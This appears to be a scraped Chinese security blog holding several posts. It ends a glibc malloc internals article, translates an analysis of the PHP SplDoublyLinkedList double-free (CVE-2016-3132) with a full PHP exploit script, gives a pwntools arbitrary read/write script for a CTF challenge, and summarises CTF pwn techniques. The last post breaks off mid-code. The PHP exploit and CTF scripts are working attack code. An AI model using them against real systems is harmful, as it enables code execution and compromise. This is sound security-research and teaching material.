    chunks are placed in bins.</span></span>
</span>
    The outer loop here is needed because we might not realize until</span></span>
    near the end of malloc that we should have consolidated, so must</span></span>
    do so and retry. This happens at most once, and only when we would</span></span>
    otherwise need to expand memory to service a "small" request.</span></span>
  */</span></span></code></pre>
然后，在4310行：</p>
      /* place chunk in bin */</span></span>
</span>
      if</span> (</span>in_smallbin_range</span>(size)) {</span></span>
        victim_index </span>=</span> smallbin_index</span>(size)</span>;</span></span>
        bck </span>=</span> bin_at</span>(av</span>,</span> victim_index)</span>;</span></span>
        fwd </span>=</span> bck</span>-></span>fd</span>;</span></span>
      }</span></span>
      else</span> {</span></span>
        //...</span></span>
    }</span></span></code></pre>
这里就很清楚了。每次malloc的时候，先从unsorted bin中寻找合适的块，如果找到的话，就立刻返回，否则视情况将这个块放入合适的bin12</a></sup>中。这个操作是造成fast bin和其他bin分配速度差异的关键因素。此外，ptmalloc还用位图对不同的bin进行辅助管理，这一点我们可能会在后续的文章中再提13</a></sup>。</p>
Large bin</h4>
Large bin和small bin很相似，也是一个binlist，它与small bin的不同点主要是：</p>

每个chunk的大小>=512 bytes</li>
bin中项目不再有固定的大小间隔。在63个items中，32个bin的大小间隔为64 bytes（比如：65# bin里的内存块大小均为512~568 bytes，66# bin里则是576~632 bytes，以此类推），16个bin的间隔为512 bytes，之后依次为4096 bytes、32768 bytes和262144 bytes，最后一个bin则包括了剩下的所有chunks。</li>
bin中，每个项目虽然也是双链表，但链表中各项的大小不是</strong>一样的。他们按照降序排列，大块在前，小块在后。因此，从large bin中获取内存的时候，可能需要进行一次遍历，这也拖慢了分配速度。</li>
</ul>
那么在试图分配一个大于512字节的large chunk时会发生什么呢？首先，fast bin中所有的item都会被合并（malloc/malloc.c:4229</code>），这是为了让尽可能多的找到合适的项目。之后，malloc会检查large bin是否非空。如果large bin非空的话，就要看情况了：</p>

malloc会首先利用请求的大小估算一个合适的large bin，并检查该large bin中最大的块是否能够满足需求（malloc/malloc.c:4376</code>）。如果能的话，就对该item从后到前遍历，直到找到一个合适的chunk，既能满足需求，又不会造成严重的浪费。找到后，这个块会被分为两部分，一部分返回给用户，而另一部分（就是remainder chunk</strong>）则会送入Unsorted bin中；</li>
如binlist中最大的chunk也不能满足需要，那么就会利用一个位图，对所有的bin进行搜索(malloc/malloc.c:4432</code>)，找到合适的chunk后，按照上面的方法分为两部分(malloc/malloc.c:4498</code>)。</li>
如果搜索后也没有任何chunk能满足需求，则会使用top chunk（还记得上面我们说过的吗）来分配内存(malloc/malloc.c:4530</code>)。</li>
如果连top chunk也不够分，那么就扩展top chunk(malloc/malloc.c:4580</code>)。</li>
如果top chunk扩展之后也不行的话，恭喜你，malloc会返回0，你是万物之王了（误。</li>
</ol>
在free一个large chunk的时候，与free(small chunk)基本一致，就不再赘述了。</p>
Unsorted bin</h4>
刚才我们多次提到unsorted bin，但把它放到最后来讲，是因为unsorted bin实际很好理解。它是作为一个“缓存”存在的，只占有一个bin，而且里面也只是一个简单的双链表，没有chunk大小限制，也没有其他复杂的结构。其存在意义在于，所有free出的块，如果不属于fast bin，就必须先在unsorted bin中，至少经历一轮malloc，才会视情况分到small bin或者large bin中。</p>
各个bin之间的结构，依然用来自sploitfun的一张图说明：</p>
</p>
小结</h3>
至此，我用了约20kb的文字，简要的描述了：</p>

线程如何从OS获取内存</li>
调用malloc及free时，如何分配内存</li>
内存分配中涉及到的几种主要数据结构</li>
</ul>
对堆内存管理机制的介绍就是这些了，比较简单，也可能有很多错误（请不要大意的在评论里写出来），希望能帮助到大家。此外，如果你希望了解更多细节，建议阅读libc源码中malloc文件夹下的malloc.c、arena.c以及tst-malloc.c等相关文件，并阅读与brk和mmap系统调用有关的网页。</p>
最后，仍然用几张图收尾。首先是sploitfun的两张图，这两张图分别展示了，不同情况下，进程内部的内存映射图。</p>
</p>
</p>
接着是我自己做的两张malloc和free的流程图，建议打开大图查看。（还有点小问题，过段时间一起修）</p>
</p>
</p>


参考资料</h2>

Understanding glibc malloc, by sploitfun</a></li>
Libc 源码</a></li>
Google</a></li>
</ul>

^{1</sup>
本段主要取材于sploitfun所作的Understanding glibc malloc</em></span></p>
</div>
^{2</sup>
临界区是指一个访问共用资源的程序片段。临界区内的资源保证被调用者独享，其他访问者则只能阻塞。</p>
</div>
^{3</sup>
刚才我们说每个线程有自己“独立”的堆结构，严格意义上是不对的。为了确保资源不被浪费，每个进程的arena数量是有限制的。</p>
</div>
^{4</sup>
这里只是简单提一下，一会会详细说明。</p>
</div>
^{5</sup>
arena（/əˈrinə/）有多种译文。这里为了方便，不给出翻译，请自行理解。</p>
</div>
^{6</sup>
注意，主线程不遵循这一规律。当主线程的堆耗尽时，管理器会继续用brk</code>分配内存，直到无法继续分配为止。</p>
</div>
^{7</sup>
注意，主线程的malloc_state存放于libc.so的内存区域中，因为其是一个全局变量。此外，主线程也没有heap_info，因为主线程只有一个堆，不需要多个堆块。</p>
</div>
^{8</sup>
也可以说，malloc返回的地址不是分配得到内存的真正起始地址。</p>
</div>
^{9</sup>
如果你懒得听我说的话，大可以去看malloc/malloc.c:2026</code>开始的代码注释。我只是简单地整理了一下。</p>
</div>
^{10</sup>
最大大小仍然是80字节，但默认只开启到64字节。见malloc/malloc.c:1311</code></p>
</div>
^{11</sup>
如果是空的，那么其会指向自身。</p>
</div>
^{12</sup>
这里指的是small bin或large bin。fastbin有自己的分配机制，与unsored bin无关。</p>
</div>
^{13</sup>
意思就是我要挖坑了。</p>
</div>}}}}}}}}}}}}}


技术文章翻译：PHP标准库中某双链表结构存在双重释放问题（CVE-2016-3132）
2016-05-12T00:00:00+00:00

原文： http://www.libnex.org/blog/doublefreeinstandardphplibrarydoublelinklist</a></p>
原作者：Emmanuel Law</p>
</blockquote>
引子</h2>
最近在PHP标准库中（Standard PHP Library, SPL)发现了一个双重释放漏洞。在写exp的时候，找了找PHP内部对堆的管理方式，但是没找到太多。这篇博客旨在和大家分析一些如何在PHP下利用Double free的人生经验。</p>
根源分析</h2>
问题函数是SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )</code>，当传递一个无效的参数时，即可触发漏洞。例如：</p>
<?</span>php</span></span>
$var_1</span>=</span>new</span> SplStack</span>()</span>;</span></span>
$var_1</span>-></span>offsetSet</span>(</span>100</span>,</span>new</span> DateTime</span>(</span>'2000-01-01'</span>))</span>;</span> //DateTime 会被释放两次</span></span></code></pre>
来看一下细节。当一个无效的下标传入的时候，在第833行，DateTiem对象被第一次释放：</p>
</span>
 832</span>    if</span> (index </span><</span> 0</span> ||</span> index </span>>=</span> intern</span>-></span>llist</span>-></span>count) {</span></span>
 833</span>         zval_ptr_dtor</span>(value)</span>;</span></span>
 834</span>         zend_throw_exception</span>(spl_ce_OutOfRangeException</span>,</span> "Offset invalid or out of range"</span>,</span> 0</span>)</span>;</span></span>
 835</span>         return</span>;</span></span>
 836</span>    }</span></span></code></pre>
另外一个释放点在Zend/zend_vm_execute.h:855</code>，在清理调用栈时，有：</p>
EG</span>(current_execute_data)</span> =</span> call</span>-></span>prev_execute_data</span>;</span></span>
zend_vm_stack_free_args</span>(call)</span>;</span></span></code></pre>PHP内部的堆管理</h2>
在PHP内部，当调用像ealloc()</code>的函数分配内存的时候，根据请求大小的不同，分为三类：</p>

小于3072字节的小堆块分配（Small heap alloction)</li>
小于2MiB的大堆块分配（Large heap alloction)</li>
大于2MiB的巨堆块分配（Huge heap alloction)</li>
</ul>
为了利用这个洞，需要看一下小堆块的分配和释放流程。小堆块的分配流程，会把每个内存块根据其大小分入不同的桶（Bin)中，如：</p>

1#桶，包含1~8byte的块</li>
2#桶，包含9~16byte的块</li>
3#桶，包含17~24byte的块</li>
以此类推</li>
</ul>
而PHP内部用efree()</code>之类的函数释放内存的时候，如果内存块被小堆块分配器处理的话，内存不会被返回给系统，而是被缓存下来，并放在合适的Bin中。这个Bin是个单链表，把该Bin中的所有块连在一起。每个块的前几个字节是该块的头部，含有指向下一个块的指针。如图所示。</p>
</p>
（译者注：为什么这么像ptmalloc的fastalloc啊，到底是做了多少次了啊）</p>
具体的利用方法</h2>

Step 0: 先看看这个对象看看能不能打。这个洞是因为，引擎试图把一个对象插入到一个无效的SplDoublyLinkedList下标中。一般会引发这样的错误：</li>
</ul>
Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range</span></span>
（致命错误：未捕获的溢出异常：偏移值无效或超限）</span></span></code></pre>
发生了这种错误后，PHP会立刻退出，这样，在Double Free后，我们无法在用户空间运行任何程序了。因此，为了调这个漏洞，我们需要卡住这个错误，然后让PHP在双重释放后不立刻退出。用set_exception_handler()</code>就可以搞定。</p>


Step 1: 选择一个合适的对象进行溢出。我选择了SplFixedArray</code>，因为：</p>

大小合适，不会走入其他的内存管理流程中。</li>
大小不怎么常见，因此不会被影响太多。本例中，sizeof(SplFixedArray)==0x78</code>，会被放入12号筐中。</li>
SplFixedArray</code>内部是一个结构体，在特定位置有一个成员，可以被利用。下面我会对此进行详细说明。</li>
</ul>
</li>

Step 2: 我们要先“调教”一下堆。先做一些清理操作，释放Bin里所有会影响我们的块。我们可以通过分配一堆实例的方法来搞，这样也能让我们得到的内存地址比较接近：</p>
</li>
</ul>
for</span> ($x</span>=</span>0</span>;</span>$x</span><</span>100</span>;</span>$x</span>++</span>){</span></span>
$z[$x]</span>=</span>new</span> SplFixedArray</span>(</span>5</span>)</span>;</span></span>
}</span></span>
</span>
unset</span>($z[</span>50</span>])</span>;</span></span></code></pre>
我们分配然后释放了第50个SplFixedArray</code>。这样，在这片内存里就制造了一个空洞，如下图：</p>
</p>
然后立刻实例化一个SplFixedArray</code>，这个对象正好会被放到那个空洞里。然后触发：</p>
<?</span>php</span></span>
$var_1</span>=</span>new</span> SplStack</span>()</span>;</span></span>
$var_1</span>-></span>offsetSet</span>(</span>100</span>,</span>new</span> SplFixedArray</span>)</span>;</span></span></code></pre>
这些操作都是为了我能拿到一个可控的内存结构，并保证双重释放也发生在这个地方。在第一个free之后，内存布局如下：</p>
</p>
第二次free后，如下：</p>
</p>

Step 3: 然后我们看看怎么拿到控制权。注意，只有一个堆块是空的，但是在链表里有两个指针指向同一块空内存。这是因为现在这块堆已经乱了，PHP认为有两个空块。那么，我们可以在12号bin中分配两个空块，他们会占用同一块内存空间：</li>
</ul>
<?</span>php</span></span>
$s</span>=</span>str_repeat</span>(</span>'C'</span>,</span>0x48</span>)</span>;</span></span>
$t</span>=</span>new</span> mySpecialSplFixedArray</span>(</span>5</span>)</span>;</span></span>
</span>
class</span> mySpecialSplFixedArray</span> extends</span> SplFixedArray</span>{</span></span>
   public function</span> offsetUnset</span>($offset) {</span></span>
         parent</span>::</span>offsetUnset</span>($offset)</span>;</span></span>
    }</span></span>
}</span></span></code></pre>
这里我们分配了一个字符串（第二行），和一个mySpecialSplFixedArray</code>（第三行），他们占用了同一个地点，也就是原来的第50个SplFixedArray</code>。
第三行那里，mySpecialSplFixedArray</code>继承了SplFixedArray</code>，但是复写了offsetUnset</code>方法。看一下PHP中String</code>和SplFixedArray</code>的结构：

- 第一次用$s=str_repeat('C',0x48)</code>分配字符串的时候，zend_string.len</code>的值是0x48
- 然后，如果分配一个SplFixArray()</code>，由于fptr_offset_set</code>默认值为0，且其和之前的String</code>占有一块内存，因此zend_string.len</code>被改为0。
- 但是，我们覆写了offsetUnset()</code>，因此fptr_offset_set</code>会含有内存中某个用户定义函数的地址，这个地址肯定比0x48大。同样的，zend_string.len</code>也会被覆盖为这个函数地址。那么PHP认为我们有一个很大很大的字符串。</p>

Step 4: 拿到控制流。现在，PHP认为：


$s</code>是一个很大的字符串，那么我们可以任意读写了。</p>
</li>

$t</code>是mySpecialSplFixedArray</code>对象，和$s</code>占同一个地方。</p>
如果我们要执行0xdeadbeef</code>处的代码，那么我们需要：</p>

伪造一个结构体，其析构器指针指向0xdeadbeef</code></li>
覆写mySpecialSplFixedArray</code>的指针，使其指向那个假的结构体</li>
unset(mySpecialSplFixedArray)</code>，实际是析构了我们伪造好的结构体，那么代码肯定执行了。</li>
</ol>
第一步比较好搞，利用刚才的读写工具$s</code>就可以了。第二个也不难。而问题是，伪造假的Handler</code>结构时，我们并不知道假结构的具体地址，那么就比较尴尬了。</p>
解决方法是，释放第51和52个SplFixArray</code>：
</p>
这样，第51个SplFixArray</code>的前8个字节就指向了第52个SplFixArray</code>。我们可以用之前的$s</code>搞信息泄露了。</p>
</li>
</ul>
</li>
</ul>
下面是完整的利用代码：</p>
<?</span>php</span></span>
// #######   HELPER Function ##############</span></span>
function</span> read_ptr</span>(</span>&</span>$mystring</span>,</span>$index</span>=</span>0</span>,</span>$little_endian</span>=</span>1</span>){</span></span>
</span>
return</span> hexdec</span>(</span>dechex</span>(</span>ord</span>($mystring[$index</span>+</span>7</span>]))</span> .</span>dechex</span>(</span>ord</span>($mystring[$index</span>+</span>6</span>]))</span> .</span> dechex</span>(</span>ord</span>($mystring[$index</span>+</span>5</span>]))</span>.</span>dechex</span>(</span>ord</span>($mystring[$index</span>+</span>4</span>]))</span>.</span>dechex</span>(</span>ord</span>($mystring[$index</span>+</span>3</span>]))</span>.</span>dechex</span>(</span>ord</span>($mystring[$index</span>+</span>2</span>]))</span>.</span> dechex</span>(</span>ord</span>($mystring[$index</span>+</span>1</span>]))</span>.</span>dechex</span>(</span>ord</span>($mystring[$index</span>+</span>0</span>])))</span>;</span></span>
</span>
}</span></span>
function</span> write_ptr</span>(</span>&</span>$mystring</span>,</span>$value</span>,</span>$index</span>=</span>0</span>,</span>$little_endian</span>=</span>1</span>){</span></span>
//$value=dechex($value);</span></span>
$mystring[$index]</span>=</span>chr</span>($value</span>&</span>0xFF</span>)</span>;</span></span>
$mystring[$index</span>+</span>1</span>]</span>=</span>chr</span>(($value</span>>></span>8</span>)</span>&</span>0xFF</span>)</span>;</span></span>
$mystring[$index</span>+</span>2</span>]</span>=</span>chr</span>(($value</span>>></span>16</span>)</span>&</span>0xFF</span>)</span>;</span></span>
$mystring[$index</span>+</span>3</span>]</span>=</span>chr</span>(($value</span>>></span>24</span>)</span>&</span>0xFF</span>)</span>;</span></span>
$mystring[$index</span>+</span>4</span>]</span>=</span>chr</span>(($value</span>>></span>32</span>)</span>&</span>0xFF</span>)</span>;</span></span>
$mystring[$index</span>+</span>5</span>]</span>=</span>chr</span>(($value</span>>></span>40</span>)</span>&</span>0xFF</span>)</span>;</span></span>
$mystring[$index</span>+</span>6</span>]</span>=</span>chr</span>(($value</span>>></span>48</span>)</span>&</span>0xFF</span>)</span>;</span></span>
$mystring[$index</span>+</span>7</span>]</span>=</span>chr</span>(($value</span>>></span>56</span>)</span>&</span>0xFF</span>)</span>;</span></span>
</span>
}</span></span>
</span>
// ####### Exploit Start #######</span></span>
</span>
class</span> SplFixedArray2</span> extends</span> SplFixedArray</span>{</span></span>
public function</span> offsetSet</span>($offset</span>,</span> $value) {}</span></span>
public function</span> Count</span>() {</span>echo</span> "!!!!######!#!#!#COUNT##!#!#!#!#"</span>;</span>}</span></span>
public function</span> offsetUnset</span>($offset) {</span></span>
parent</span>::</span>offsetUnset</span>($offset)</span>;</span></span>
}</span></span>
}</span></span>
</span>
function</span> exception_handler</span>($exception) {</span></span>
global</span> $z</span>;</span></span>
$s</span>=</span>str_repeat</span>(</span>'C'</span>,</span>0x48</span>)</span>;</span></span>
$t</span>=</span>new</span> SplFixedArray2</span>(</span>5</span>)</span>;</span></span>
$t[</span>0</span>]</span>=</span>'Z'</span>;</span></span>
</span>
unset</span>($z[</span>22</span>])</span>;</span></span>
unset</span>($z[</span>21</span>])</span>;</span></span>
</span>
$heap_addr</span>=</span>read_ptr</span>($s</span>,</span>0x58</span>)</span>;</span></span>
print</span> "Leak Heap memory location: 0x"</span> .</span> dechex</span>($heap_addr)</span> .</span> "</span>\n</span>"</span>;</span> </span></span>
$heap_addr_of_fake_handler</span>=</span>$heap_addr</span>-</span>0x70</span>-</span>0x70</span>+</span>0x18</span>+</span>0x300</span>;</span></span>
print</span> "Heap address of fake handler 0x"</span> .</span> dechex</span>($heap_addr_of_fake_handler)</span> .</span> "</span>\n</span>"</span>;</span></span>
//Set Handlers</span></span>
write_ptr</span>($s</span>,</span>$heap_addr_of_fake_handler</span>,</span>0x40</span>)</span>;</span></span>
//Set fake handler</span></span>
</span>
write_ptr</span>($s</span>,</span>0x40</span>,</span>0x300</span>)</span>;</span> //handler.offset</span></span>
write_ptr</span>($s</span>,</span>0x4141414141414141</span>,</span>0x308</span>)</span>;</span> //handler.free_obj</span></span>
write_ptr</span>($s</span>,</span>0xdeadbeef</span>,</span>0x310</span>)</span>;</span> //handler.dtor.obj</span></span>
str_repeat</span>(</span>'z'</span>,</span>5</span>)</span>;</span></span>
unset</span>($t)</span>;</span>  //BOOM!</span></span>
}</span></span>
</span>
set_exception_handler</span>(</span>'exception_handler'</span>)</span>;</span></span>
$var_1</span>=</span>new</span> SplStack</span>()</span>;</span></span>
$z</span>=</span>array</span>()</span>;</span></span>
</span>
//Heap management</span></span>
for</span> ($x</span>=</span>0</span>;</span>$x</span><</span>100</span>;</span>$x</span>++</span>){</span></span>
$z[$x]</span>=</span>new</span> SplFixedArray</span>(</span>5</span>)</span>;</span></span>
}</span></span>
</span>
</span>
unset</span>($z[</span>20</span>])</span>;</span></span>
$var_1</span>-></span>offsetSet</span>(</span>0</span>,</span>new</span> SplFixedArray</span>)</span>;</span></span></code></pre>


ISCC(ISCLab) Pwn3
2016-05-08T00:00:00+00:00
前两天就写好了，整理了一下，现在发上来。没有写到exp那部分，只写了任意内存读写的module。</p>
环境依旧是Python 2。</p>
from</span> pwn</span> import</span> *</span></span>
</span>
</span>
class</span> Shoper</span>():</span></span>
    def</span> __init__</span>(</span>self</span>,</span> username</span>=</span>"Test"</span>):</span></span>
        self</span>.</span>conn</span> =</span> process</span>(</span>'./bitshop.exec'</span>)</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"name: "</span>)</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span>"</span>%s\n</span>"</span>%</span>username)</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Your choice $ "</span>)</span></span>
</span>
    def</span> __del__</span>(</span>self</span>):</span></span>
        self</span>.</span>conn</span>.</span>close</span>()</span></span>
</span>
    def</span> _add</span>(</span>self</span>,</span> length</span>=</span>30</span>,</span> comment</span>=</span>'test'</span>,</span> name</span>=</span>'test'</span>):</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span>'1</span>\n</span>'</span>)</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"comment length:"</span>)</span></span>
        assert</span>(</span> type</span>(length)</span> ==</span> int</span> )</span></span>
        assert</span>( length</span> <=</span> 1023</span> and</span> length</span> ></span> 16</span> )</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span> "</span>%s\n</span>"</span> %</span> str</span>(length) )</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Input comment:"</span>)</span></span>
        assert</span>(</span> len</span>(comment)</span> <</span> length )</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span> "</span>%s\n</span>"</span> %</span> comment )</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Input name:"</span>)</span></span>
        assert</span>(</span> len</span>(name)</span> <</span> 60</span> )</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span> "</span>%s\n</span>"</span> %</span> name )</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Your choice $ "</span>)</span></span>
</span>
    def</span> _edit</span>(</span>self</span>,</span> cid</span> =</span> 0</span>,</span> comment</span>=</span>'test'</span>,</span> length</span>=</span>None</span> ):</span></span>
        if</span> not</span> length</span>:</span></span>
            length</span> =</span> len</span>(comment)</span>+</span>1</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span>'2</span>\n</span>'</span>)</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Input id :"</span>)</span></span>
        assert</span>(</span> type</span>(cid)</span> ==</span> int</span> )</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span> "</span>%s\n</span>"</span> %</span> str</span>(cid) )</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Input new comment length :"</span>)</span></span>
        assert</span>(</span> type</span>(length)</span> ==</span> int</span> )</span></span>
        assert</span>( length</span> <=</span> 1023</span> and</span> length</span> ></span> 16</span> )</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span> "</span>%s\n</span>"</span> %</span> str</span>(length) )</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Input comment :"</span>)</span></span>
        assert</span>(</span> len</span>(comment)</span> <</span> length )</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span> "</span>%s</span>"</span> %</span> comment )</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Your choice $ "</span>)</span></span>
</span>
    def</span> _free</span>(</span>self</span>,</span> cid</span> =</span> 0</span> ):</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span>'3</span>\n</span>'</span>)</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Input id : "</span>)</span></span>
        assert</span>(</span> type</span>(cid)</span> ==</span> int</span>)</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span> "</span>%s\n</span>"</span> %</span> str</span>(cid) )</span></span>
        self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Your choice $ "</span>)</span></span>
</span>
    def</span> _shopnote</span>(</span>self</span>):</span></span>
        # Unused</span></span>
        assert</span>(</span>0</span>)</span></span>
</span>
    def</span> _cart</span>(</span>self</span>):</span></span>
        self</span>.</span>conn</span>.</span>send</span>(</span>'5</span>\n</span>'</span>)</span></span>
        #self.conn.recv()</span></span>
        return</span> self</span>.</span>conn</span>.</span>recvuntil</span>(</span>"Your choice $ "</span>)</span></span>
</span>
    def</span> pause</span>(</span>self</span>):</span></span>
        log</span>.</span>info</span>(</span>"PID: </span>%s</span>"</span> %</span> (</span>self</span>.</span>conn</span>.</span>proc</span>.</span>pid))</span></span>
        raw_input()</span></span>
</span>
</span>
# Arrange fake struct and its components</span></span>
LEADER</span> =</span> 0x</span>6020E0</span> +</span> 0x</span>8</span>*</span>3</span></span>
BASE_OFFSET</span> =</span> 0x</span>602140</span></span>
# create the init string</span></span>
FAKE_OFFSET</span> =</span> (</span>LEADER</span> -</span> BASE_OFFSET</span>)</span>/</span>8</span></span>
target</span> =</span> Shoper</span>(</span> "AAAAAAAAbbbbbbbbCCCCCCCC</span>%s</span>"</span>%</span>p64</span>(</span>LEADER</span>) )</span></span>
# Write initalize component</span></span>
PFAKE_STRUCT</span> =</span> LEADER</span>+</span>0x</span>18</span></span>
PFSTR_OFFSET</span> =</span> (</span>LEADER</span>+</span>0x</span>10</span> -</span> BASE_OFFSET</span>)</span>/</span>8</span></span>
compchain</span> =</span> [</span></span>
    p64</span>(</span>LEADER</span>)</span>,</span>            # LEADER+0x00, overwrite protect</span></span>
    p64</span>(</span>LEADER</span>+</span>0x</span>2c</span>)</span>,</span>       # LEADER+0x08, should be $item_count's address</span></span>
    p64</span>(</span>PFAKE_STRUCT</span>)</span>,</span>      # LEADER+0x10, fake struct real address</span></span>
    p64</span>(</span>LEADER</span>)</span>,</span>            # LEADER+0x18, WR_ADDR</span></span>
    p32</span>(</span>0x</span>200</span>)</span>,</span>             # LEADER+0x20, fake length</span></span>
    "/bin/sh</span>\0</span>"</span>,</span>            # LEADER+0x24, fake name</span></span>
    p64</span>(</span>0x</span>2</span>)</span>,</span>               # LEADER+0x2c</span></span>
]</span></span>
WRIDX</span>=</span>3</span></span>
target</span>.</span>_edit</span>( cid</span> =</span> FAKE_OFFSET</span> ,</span> comment</span> =</span> ''</span>.</span>join</span>(compchain))</span></span>
# recalculate offset</span></span>
log</span>.</span>info</span>(</span>"Finished load component. WRIDX=</span>%s</span>"</span>%</span>(</span>WRIDX</span>))</span></span>
</span>
log</span>.</span>warning</span>(</span>"Have a test of our component"</span>)</span></span>
TEST_ADDR</span> =</span> 0x</span>602090</span></span>
</span>
log</span>.</span>info</span>(</span>"Write test of </span>%x</span>"</span>%</span>TEST_ADDR</span>)</span></span>
#set address</span></span>
compchain[</span>WRIDX</span>]</span> =</span> p64</span>(</span>TEST_ADDR</span>)</span></span>
target</span>.</span>_edit</span>( cid</span> =</span> FAKE_OFFSET</span> ,</span> comment</span> =</span> ''</span>.</span>join</span>(compchain))</span></span>
#write data</span></span>
target</span>.</span>_edit</span>( cid</span> =</span> PFSTR_OFFSET</span> ,</span> comment</span> =</span> 3</span>*</span>(</span>"</span>%s</span>"</span>%</span>p64</span>(</span>0x</span>233233233233233</span>)))</span></span>
</span>
log</span>.</span>info</span>(</span>"Read test of </span>%x</span>"</span>%</span>TEST_ADDR</span>)</span></span>
# prepare to change item 0</span></span>
compchain[</span>WRIDX</span>]</span> =</span> p64</span>(</span>BASE_OFFSET</span>)</span></span>
target</span>.</span>_edit</span>( cid</span> =</span> FAKE_OFFSET</span> ,</span> comment</span> =</span> ''</span>.</span>join</span>(compchain))</span></span>
# modify item to fake struct</span></span>
target</span>.</span>_edit</span>( cid</span> =</span> PFSTR_OFFSET</span> ,</span> comment</span> =</span> 3</span>*</span>(</span>"</span>%s</span>"</span>%</span>p64</span>(</span>PFAKE_STRUCT</span>)))</span></span>
# set read address</span></span>
compchain[</span>WRIDX</span>]</span> =</span> p64</span>(</span>TEST_ADDR</span>)</span></span>
target</span>.</span>_edit</span>( cid</span> =</span> FAKE_OFFSET</span> ,</span> comment</span> =</span> ''</span>.</span>join</span>(compchain))</span></span>
# read from cart</span></span>
context</span>.</span>log_level</span> =</span> 'debug'</span></span>
target</span>.</span>_cart</span>()</span></span></code></pre>


最近做的几个Pwn总结
2016-05-01T00:00:00+00:00
好久没发文章了。这次把最近在比赛中做的几个Pwn发出来，希望看到此文的老司机可以指点一下，嘿嘿。</p>
安恒429 - 线上 Pwn 1 (250)</h2>
拿到题目之后检查导入表，可以看到使用了一些比较危险的函数，如system</code>和memcpy</code>。检查了一下，可以看到主函数里面的缓冲区大小为0x108，而调用了memcpy</code>函数的ShowInfo()</code>里的缓冲区大小只有0x88，可以进行缓冲区溢出攻击。此外在UsePrinter()</code>里调用了system函数，因此不需要特意寻找信息泄露，也无需设计ROP，设计好攻击字符串之后直接跳到0x804878D</code>即可。如果对方开启了ASLR，随机打还是可以打到的。</p>
比较简 (yong)</del> 单 (lan)</del> ，不写了。（实际是因为我把脚本弄丢了……）</p>
CCTF - Hack the FTP Server (350)</h2>
这个题有两种方法。</p>
一种比较麻烦，通过分析程序结构后，可以发现在show_dir</code>的时候，由于对长度控制不严谨，在ebp-0x414</code>处的缓冲区可以被打溢出。操作这个结构，需要控制好其下位于ebp-0x14</code>至ebp-0x0c</code>处的一个指针和两个循环变量，其中后两个比较好计算，而前一个比较麻烦。因此，需要借助位于0x804889E</code>处的格式化字符串漏洞，得到前几个结构体的地址，再根据malloc()</code>的原理，计算出需要填入的值。</p>
这么做特别麻烦。而我们既然有了一个格式化字符串漏洞，可以进行任意地址的读写，就可以直接只利用这个漏洞，来完成我们的利用工作。又注意到，puts()</code>仅在show_dir()</code>中被调用过，那么我们可以通过修改plt表，来执行system函数。为了得知其偏移量，我们可以直接dump内存，也可以通过检查特定函数所在入口点的最后几个byte，来反向得知其库版本，如这个项目</a>。</p>
总结：</p>

准备：先泄露一个函数的基地址，得到库文件及其中函数的相对偏移量</li>
信息泄露：打出一个ASLR后的地址。这一步只能单独完成，因为其他步骤都需要以其为基础。</li>
修改PLT表：以之前获得的基地址和偏移量为基础，修改puts@plt</code>为system</code>的地址。</li>
触发函数：调用show_dir</code>，打出system。注意到我们在这个过程中用了两次put，同时原本的puts方法也只有一个字符串指针的参数，因此我们可以构造两个块，其名字拼接起来恰为"/bin/sh"</code>。</li>
</ul>
脚本见附件。</p>
CCTF - 新大陆 (200)</h2>
这个题也比较有意思，主要的思路还是糖果师傅亲测的。</p>
先来跑一段代码：</p>
// Compile with gcc a.c -o a.o -m32</span></span>
#include</span> <stdlib.h></span></span>
#include</span> <stdio.h></span></span>
</span>
int</span> main</span>(</span>void</span>){</span></span>
    void</span>*</span> addr1 </span>=</span> mmap</span>(</span> 0x</span>89008900</span> ,</span> 0x</span>1000</span>,</span> 7</span>,</span> 34</span>,</span> 0</span>,</span> 0</span>)</span>;</span></span>
    void</span>*</span> addr2 </span>=</span> mmap</span>(</span> 0x</span>89008900</span> ,</span> 0x</span>1000</span>,</span> 7</span>,</span> 34</span>,</span> 0</span>,</span> 0</span>)</span>;</span></span>
    void</span>*</span> addr3 </span>=</span> mmap</span>(</span> 0x</span>89008900</span> ,</span> 0x</span>1000</span>,</span> 7</span>,</span> 34</span>,</span> 0</span>,</span> 0</span>)</span>;</span></span>
    void</span>*</span> addr4 </span>=</span> mmap</span>(</span> 0x</span>89008900</span> ,</span> 0x</span>1000</span>,</span> 7</span>,</span> 34</span>,</span> 0</span>,</span> 0</span>)</span>;</span></span>
    void</span>*</span> addr5 </span>=</span> mmap</span>(</span> 0x</span>89008900</span> ,</span> 0x</span>1000</span>,</span> 7</span>,</span> 34</span>,</span> 0</span>,</span> 0</span>)</span>;</span></span>
</span>
    printf</span>(</span>"Addr 1 is </span>%p</span>"</span>,</span> addr1)</span>;</span></span>
    printf</span>(</span>"Addr 2 is </span>%p</span>"</span>,</span> addr2)</span>;</span></span>
    printf</span>(</span>"Addr 3 is </span>%p</span>"</span>,</span> addr3)</span>;</span></span>
    printf</span>(</span>"Addr 4 is </span>%p</span>"</span>,</span> addr4)</span>;</span></span>
    printf</span>(</span>"Addr 5 is </span>%p</span>"</span>,</span> addr5)</span>;</span></span>
</span>
